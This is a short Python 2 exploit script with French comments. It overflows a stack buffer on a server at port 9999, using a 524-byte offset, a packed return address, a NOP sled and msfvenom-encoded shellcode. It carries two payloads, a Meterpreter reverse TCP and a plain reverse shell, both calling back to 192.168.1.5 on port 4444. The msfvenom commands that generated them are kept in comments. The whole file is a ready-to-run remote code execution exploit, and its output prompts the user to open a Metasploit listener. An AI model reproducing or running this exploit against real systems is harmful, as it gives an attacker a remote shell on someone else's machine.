#!/usr/bin/python2.7

import struct, socket, sys

offset = 524

def usage():
    print sys.argv[0] + " <url du serveur>"
    exit(1)

if len(sys.argv) != 2:
    usage()

ipserveur = sys.argv[1]
portserveur = "9999"

# msfvenom -p linux/x86/meterpreter/reverse_tcp exitfunc=thread lhost=192.168.1.5 lport=4444 R -a x86 --platform linux -b '\x00' -f python
#Found 10 compatible encoders
#Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
#x86/shikata_ga_nai succeeded with size 98 (iteration=0)
#x86/shikata_ga_nai chosen with final size 98
#Payload size: 98 bytes
linux_meterpreter_shellcode =  ""
linux_meterpreter_shellcode += "\xbe\x26\xd9\x16\x45\xdd\xc7\xd9\x74\x24\xf4\x5f\x29"
linux_meterpreter_shellcode += "\xc9\xb1\x12\x83\xef\xfc\x31\x77\x11\x03\x77\x11\xe2"
linux_meterpreter_shellcode += "\xd3\xe8\xcd\xb2\xf8\x58\xb1\x6f\x94\x5c\x85\xf6\xe1"
linux_meterpreter_shellcode += "\x80\x28\x76\x66\x19\xdb\xb7\x20\x9f\x1e\x50\x32\xa0"
linux_meterpreter_shellcode += "\x31\xfc\xbb\x41\x5b\x9a\xe3\xd1\xcd\x35\x9a\x33\xae"
linux_meterpreter_shellcode += "\x74\x1c\x01\x36\x3e\x1c\x76\x39\x40\x95\x95\xf8\xab"
linux_meterpreter_shellcode += "\xa9\x98\x18\x27\x01\x67\x12\xb8\x3a\x11\x4d\x20\x0a"
linux_meterpreter_shellcode += "\x2d\x3e\x50\xbf\xae\xc1\xb6"

# msfvenom -p linux/x86/shell_reverse_tcp exitfunc=thread lhost=192.168.1.5 lport=4444 R -a x86 --platform linux -b '\x00' -f python
#Found 10 compatible encoders
#Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
#x86/shikata_ga_nai succeeded with size 95 (iteration=0)
#x86/shikata_ga_nai chosen with final size 95
#Payload size: 95 bytes
reverse_shell =  ""
reverse_shell += "\xdb\xc7\xb8\x8f\x2b\x42\x44\xd9\x74\x24\xf4\x5f\x31"
reverse_shell += "\xc9\xb1\x12\x83\xef\xfc\x31\x47\x13\x03\xc8\x38\xa0"
reverse_shell += "\xb1\xe7\xe5\xd3\xd9\x54\x59\x4f\x74\x58\xd4\x8e\x38"
reverse_shell += "\x3a\x2b\xd0\xaa\x9b\x03\xee\x01\x9b\x2d\x68\x63\xf3"
reverse_shell += "\x6d\x22\x92\x06\x06\x31\x95\x19\x8a\xbc\x74\xa9\x54"
reverse_shell += "\xef\x27\x9a\x2b\x0c\x41\xfd\x81\x93\x03\x95\x36\xbb"
reverse_shell += "\xd0\x0d\x21\xec\x74\xa4\xdf\x7b\x9b\x64\x73\xf5\xbd"
reverse_shell += "\x38\x78\xc8\xbe"

junk = "A" * offset
nop = "\x90" * 10
retesp = struct.pack('<L',0x311712F3)

#exploit = junk + retesp + nop + linux_meterpreter_shellcode
exploit = junk + retesp + nop + reverse_shell
#Connexion au serveur
print "Ouvrez une connexion metasploit sur le port 4444"
connexion = socket.create_connection((ipserveur,portserveur))
print(connexion.recv(99999))
connexion.send(exploit)
print ("Exploit envoye")
print(connexion.recv(99999))
connexion.close()
